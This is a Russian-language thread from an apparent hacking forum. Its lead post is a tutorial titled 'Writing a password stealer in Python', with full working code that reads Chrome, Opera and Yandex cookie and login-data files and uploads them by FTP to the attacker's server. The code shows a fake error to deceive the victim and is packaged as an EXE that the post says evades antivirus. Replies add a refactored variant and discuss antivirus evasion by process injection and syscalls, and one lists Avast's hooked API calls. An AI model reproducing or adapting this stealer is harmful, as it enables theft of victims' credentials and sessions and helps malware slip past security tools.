• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем стиллер паролей на Python

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого, это подключение библиотек
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла который отправляем на сервер
И напоследок мы подключаемся по ftp по логину паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем уже сами пути к директориям, где лежат наши пароли, а пароли мы будем воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать
Python:
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"

UserName - принимает значения имя текущего пользователя

dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

У нас имеются директории, у нас есть библиотеки, для работы, что же дальше? Думаю пора приступать к основном задаче, это написание непосредственно стиллера.

Вот код, вы пока напишите его, а я вам потом расскажу о нем ))
Python:
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в начале до функции мы записываем в переменные адреса наших директорий, для последующей проверки на валидность. Зачем это нужно? спросите вы меня, да просто так проще! Зачем ставить try, except если можно проверить на валидность с помощью os.path.exits.

Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету, все просто:
Python:
if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
        con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
        con.storbinary("STOR %s" % filename2, content)
Мы проверяем является ли директория валидной, а после уже открываем ее, и отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки подключили, директории есть, что не хватает? Думаю не хватает задействовать функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.. Будем действовать по такой схеме))

Вот код, объяснять тут думаю нечего:
Python:
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
НО, я все же расскажу, первая строка - вызываем функцию, которая ворует пароли.

Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы пользователь думал что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли у него нет))

Вот и весь код, ниже он целиком:
Python:
import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_google, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_google, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_opera, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_opera, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
        with open(dir_cookie_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename, content)
        with open(dir_pass_yandex, "rb") as content:
            con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

Думаю ответ очевиден - pyinstaller

Давайте скачаем его:
Bash:
pip install pyinstaller
Далее скомпилируем его в EXE'шник, дабы было все проще у нас ))
Bash:
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом


Автор: NNullday
 
Последнее редактирование модератором:
Вижу, Вы в самом начале своего творческого, так сказать, пути. ;) Вот, возьмите.

Python:
import getpass
import random

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    #("firefox", "", "")
    ]

def check():
    global files
    for f in files:
        bid = str(random.randint(1, 10000))
        try:
            with open(fldr+f[1], "rb") as content:
                open(f[0]+'_cookie'+bid, 'wb').write(content.read())
            with open(fldr+f[2], "rb") as content:
                open(f[0]+'_pass'+bid, 'wb').write(content.read())
        except Exception as err:
            #print(err)
            print('There is no '+f[0]+' here.')

check()

Мой код просто сохраняет найденные файлы, но думаю присутствующим не составит труда доработать его под свои задачи.
 
А не лучше сделать поиск рекрусивным? Просто некоторые юзеры ставят бразеры по своим путям.
 
А не лучше сделать поиск рекрусивным? Просто некоторые юзеры ставят бразеры по своим путям.
Я не на 100% уверен, но скорее всего все нужные пути есть в реестре.
 
Вижу, Вы в самом начале своего творческого, так сказать, пути. ;) Вот, возьмите.

Python:
import getpass
import random

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    #("firefox", "", "")
    ]

def check():
    global files
    for f in files:
        bid = str(random.randint(1, 10000))
        try:
            with open(fldr+f[1], "rb") as content:
                open(f[0]+'_cookie'+bid, 'wb').write(content.read())
            with open(fldr+f[2], "rb") as content:
                open(f[0]+'_pass'+bid, 'wb').write(content.read())
        except Exception as err:
            #print(err)
            print('There is no '+f[0]+' here.')

check()

Мой код просто сохраняет найденные файлы, но думаю присутствующим не составит труда доработать его под свои задачи.
Это не его статья, в конце автор указан


tabac , хотя бы статьи подправляй, чтобы не было в начале написано " Это моя первая статья ".
 
Я не на 100% уверен, но скорее всего все нужные пути есть в реестре.
Не феншуй лезть в реестр ав это не любят)
 
Не феншуй лезть в реестр ав это не любят)
Ого..а чеж тогда делать то?..не томи бро подскажи как надо.
 
Ого..а чеж тогда делать то?..не томи бро подскажи как надо.

А не лучше сделать поиск рекрусивным? Просто некоторые юзеры ставят бразеры по своим путям.
 
Точно уверен что аверы поиск любят больше реестра?
Ну по своему опыту могу сказать что да. А с чем вы конкретно не согласны?
 
Ну по своему опыту могу сказать что да. А с чем вы конкретно не согласны?
Разве я с чем то был не согласен?..я просто спрашивал.
По своему опыту знаю что если занжектиться в хороший процесс то аверы вас в нем будут любить больше =)..но наверное это не про питон.
 
Разве я с чем то был не согласен?..я просто спрашивал.
По своему опыту знаю что если занжектиться в хороший процесс то аверы вас в нем будут любить больше =)..но наверное это не про питон.
Ну RenPe не кто не отменял конечно. Просто по моему опыту аверы любят ставить сигнатуры (если winapi не скрыты) на порядок вызовов винапишек которые работают с реестром.
 
на сигнатуры думаю им плевать, если вы возьмете pc hunter и посмотрите что и в каких процессах похукано, то увидите что в сомнительных процессах просто похучено всякое разное =) и опять же увидите какие процессы были сочтены сомнительными.
 
на сигнатуры думаю им плевать, если вы возьмете pc hunter и посмотрите что и в каких процессах похукано, то увидите что в сомнительных процессах просто похучено всякое разное =) и опять же увидите какие процессы были сочтены сомнительными.
А как у тебя ав пропустит файл если у него стоит сигнатура на часть кода где работа с реестром происходит?
 
а для чего ставить сигнатуры на то что и так будет перехваченно в нтдлл, вы ведь согласны что гет проц адрес не панацея =)..отсюда вывод что дрочка с сигнатурами бесполезное и дорогое занятие.
 
а для чего ставить сигнатуры на то что и так будет перехваченно в нтдлл, вы ведь согласны что гет проц адрес не панацея =)..отсюда вывод что дрочка с сигнатурами бесполезное и дорогое занятие.
Ну смысл все-таки есть так как ставят.
 
Ну смысл все-таки есть так как ставят.
Смысл ставить сигнатуры это не допустить выполнения говнокода в принципе, но если говнокодер сбил сигнатуру его ждут хуки в нтдлл, потому как сисколлы с хевинс гейтами это ведь так муторно =).
А учитывая что говнокодеры очень любят копипаст грех их не вздрючить еще на излете.
 
Смысл ставить сигнатуры это не допустить выполнения говнокода в принципе, но если говнокодер сбил сигнатуру его ждут хуки в нтдлл, потому как сисколлы с хевинс гейтами это ведь так муторно =).
А учитывая что говнокодеры очень любят копипаст грех их не вздрючить еще на излете.
Ав не может хукать api так как это увеличит риск ложных срабатываней они насколько мне известно палагаються на порядок вызовов и поведение програмы.
 
Последнее редактирование:
Смысл ставить сигнатуры это не допустить выполнения говнокода в принципе, но если говнокодер сбил сигнатуру его ждут хуки в нтдлл, потому как сисколлы с хевинс гейтами это ведь так муторно =).
А учитывая что говнокодеры очень любят копипаст грех их не вздрючить еще на излете.
И пишите на инглишь названия я обсалютно не понимаю про что вы пишите.
 
И пишите на инглишь названия я обсалютно не понимаю про что вы пишите.
Syscall - вызов сервиса ядра, havens gate - точка перехода из wow64 в 64бит режим.
Еще раз повторюсь - сигнатуры это отсеевание бездарного говна до того как оно вообще будет исполнено, хуки в нтдлл(библиотека в основном занимается тем делает syscall для апи) отсивают все прочее более хитрое говно.
берете тулзу которая вам покажет все хуки во всех запущенных процессах, смотрите что за апи похуканы, разбираетесь куда ведут эти хуки и начинаете схематично понимать что и как работает.

как пример вам хуки аваста для подозрительного процесса

inline - len(5) ntdll.dll->NtClose - 0x00007FFBC07652A0->_
inline - len(5) ntdll.dll->NtCreateFile - 0x00007FFBC0765B60->_
inline - len(5) ntdll.dll->NtOpenProcess - 0x00007FFBC0765580->_
inline - len(5) ntdll.dll->NtWriteVirtualMemory - 0x00007FFBC0765800->_


inline - len(5) ntdll.dll->NtAdjustPrivilegesToken - 0x00007FFBC07658E0->_
inline - len(5) ntdll.dll->NtCreateProcess - 0x00007FFBC0766670->_
inline - len(5) ntdll.dll->NtCreateProcessEx - 0x00007FFBC0765A60->_
inline - len(5) ntdll.dll->NtCreateThread - 0x00007FFBC0765A80->_
inline - len(5) ntdll.dll->NtCreateThreadEx - 0x00007FFBC0766730->_
inline - len(5) ntdll.dll->NtCreateUserProcess - 0x00007FFBC0766810->_
inline - len(5) ntdll.dll->NtDuplicateObject - 0x00007FFBC0765840->_
inline - len(5) ntdll.dll->NtMapViewOfSection - 0x00007FFBC07655C0->_
inline - len(5) ntdll.dll->NtQueueApcThread - 0x00007FFBC0765960->_
inline - len(5) ntdll.dll->NtSetContextThread - 0x00007FFBC0767EF0->_
inline - len(5) ntdll.dll->NtTerminateProcess - 0x00007FFBC0765640->_
inline - len(5) ntdll.dll->RtlAllocateHeap - 0x00007FFBC06E55D0->_

inline - len(5) ntdll.dll->ZwAdjustPrivilegesToken - 0x00007FFBC07658E0->_
inline - len(5) ntdll.dll->ZwClose - 0x00007FFBC07652A0->_
inline - len(5) ntdll.dll->ZwCreateFile - 0x00007FFBC0765B60->_
inline - len(5) ntdll.dll->ZwCreateProcess - 0x00007FFBC0766670->_
inline - len(5) ntdll.dll->ZwCreateProcessEx - 0x00007FFBC0765A60->_
inline - len(5) ntdll.dll->ZwCreateThread - 0x00007FFBC0765A80->_
inline - len(5) ntdll.dll->ZwCreateThreadEx - 0x00007FFBC0766730->_
inline - len(5) ntdll.dll->ZwCreateUserProcess - 0x00007FFBC0766810->_
inline - len(5) ntdll.dll->ZwDuplicateObject - 0x00007FFBC0765840->_
inline - len(5) ntdll.dll->ZwMapViewOfSection - 0x00007FFBC07655C0->_
inline - len(5) ntdll.dll->ZwOpenProcess - 0x00007FFBC0765580->_
inline - len(5) ntdll.dll->ZwQueueApcThread - 0x00007FFBC0765960->_
inline - len(5) ntdll.dll->ZwSetContextThread - 0x00007FFBC0767EF0->_
inline - len(5) ntdll.dll->ZwTerminateProcess - 0x00007FFBC0765640->_
inline - len(5) ntdll.dll->ZwWriteVirtualMemory - 0x00007FFBC0765800->_

inline - len(5) KERNEL32.DLL->CreateFileMappingA - 0x00007FFBC0631810->_
inline - len(5) KERNEL32.DLL->CreateFileMappingNumaA - 0x00007FFBC0650C70->_
inline - len(5) KERNEL32.DLL->CreateToolhelp32Snapshot - 0x00007FFBC063E800->_
inline - len(5) KERNEL32.DLL->DefineDosDeviceA - 0x00007FFBC06502B0->_
inline - len(5) KERNEL32.DLL->MoveFileExA - 0x00007FFBC0651390->_
inline - len(5) KERNEL32.DLL->MoveFileWithProgressA - 0x00007FFBC0651490->_
inline - len(5) KERNEL32.DLL->Process32NextW - 0x00007FFBC0631040->_
inline - len(5) KERNELBASE.dll->CloseHandle - 0x00007FFBBCEAC440->_
inline - len(5) KERNELBASE.dll->CreateFileMappingNumaW - 0x00007FFBBCEAAFA0->_
inline - len(5) KERNELBASE.dll->CreateFileMappingW - 0x00007FFBBCEA9C50->_
inline - len(4) KERNELBASE.dll->CreateProcessA - 0x00007FFBBCECCA00->_
inline - len(5) KERNELBASE.dll->CreateProcessInternalA - 0x00007FFBBCECCA80->_
inline - len(5) KERNELBASE.dll->CreateProcessInternalW - 0x00007FFBBCECD060->_
inline - len(4) KERNELBASE.dll->CreateProcessW - 0x00007FFBBCECC980->_
inline - len(4) KERNELBASE.dll->CreateRemoteThread - 0x00007FFBBCF55340->_
inline - len(5) KERNELBASE.dll->CreateRemoteThreadEx - 0x00007FFBBCEB2810->_
inline - len(5) KERNELBASE.dll->DefineDosDeviceW - 0x00007FFBBCF00900->_
inline - len(5) KERNELBASE.dll->DeleteFileW - 0x00007FFBBCED4B30->_
inline - len(5) KERNELBASE.dll->DuplicateHandle - 0x00007FFBBCEBD5A0->_
inline - len(5) KERNELBASE.dll->GetProcAddress - 0x00007FFBBCEC8160->_
inline - len(5) KERNELBASE.dll->LoadLibraryA - 0x00007FFBBCEEFA70->_
inline - len(5) KERNELBASE.dll->LoadLibraryW - 0x00007FFBBCEF9460->_
inline - len(5) KERNELBASE.dll->MapViewOfFile - 0x00007FFBBCEE40C0->_
inline - len(4) KERNELBASE.dll->MapViewOfFileEx - 0x00007FFBBCEE7920->_
inline - len(5) KERNELBASE.dll->MapViewOfFileExNuma - 0x00007FFBBCEE7950->_
inline - len(5) KERNELBASE.dll->MoveFileExW - 0x00007FFBBCED3C70->_
inline - len(5) KERNELBASE.dll->MoveFileWithProgressW - 0x00007FFBBCED3CA0->_
inline - len(4) KERNELBASE.dll->OpenThread - 0x00007FFBBCEAABC0->_
inline - len(5) KERNELBASE.dll->SetEnvironmentVariableA - 0x00007FFBBCEEA770->_
inline - len(5) KERNELBASE.dll->SetEnvironmentVariableW - 0x00007FFBBCEEA3F0->_
inline - len(5) USER32.dll->SetWindowsHookExA - 0x00007FFBC02328E0->_
inline - len(5) USER32.dll->SetWindowsHookExW - 0x00007FFBC0256030->_
inline - len(5) USER32.dll->UserClientDllInitialize - 0x00007FFBC023A8D0->_
inline - len(5) ADVAPI32.dll->CryptAcquireContextA - 0x00007FFBC0417E00->_
inline - len(5) ADVAPI32.dll->CryptAcquireContextW - 0x00007FFBC0417CF0->_
inline - len(5) ADVAPI32.dll->CryptCreateHash - 0x00007FFBC0417190->_
inline - len(5) ADVAPI32.dll->CryptExportKey - 0x00007FFBC0416FE0->_
inline - len(5) ADVAPI32.dll->CryptGetHashParam - 0x00007FFBC0416650->_
inline - len(5) ADVAPI32.dll->CryptHashData - 0x00007FFBC0417330->_
inline - len(5) ADVAPI32.dll->CryptImportKey - 0x00007FFBC0416FD0->_
inline - len(5) ADVAPI32.dll - 0x00007FFBC04158D0->_
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх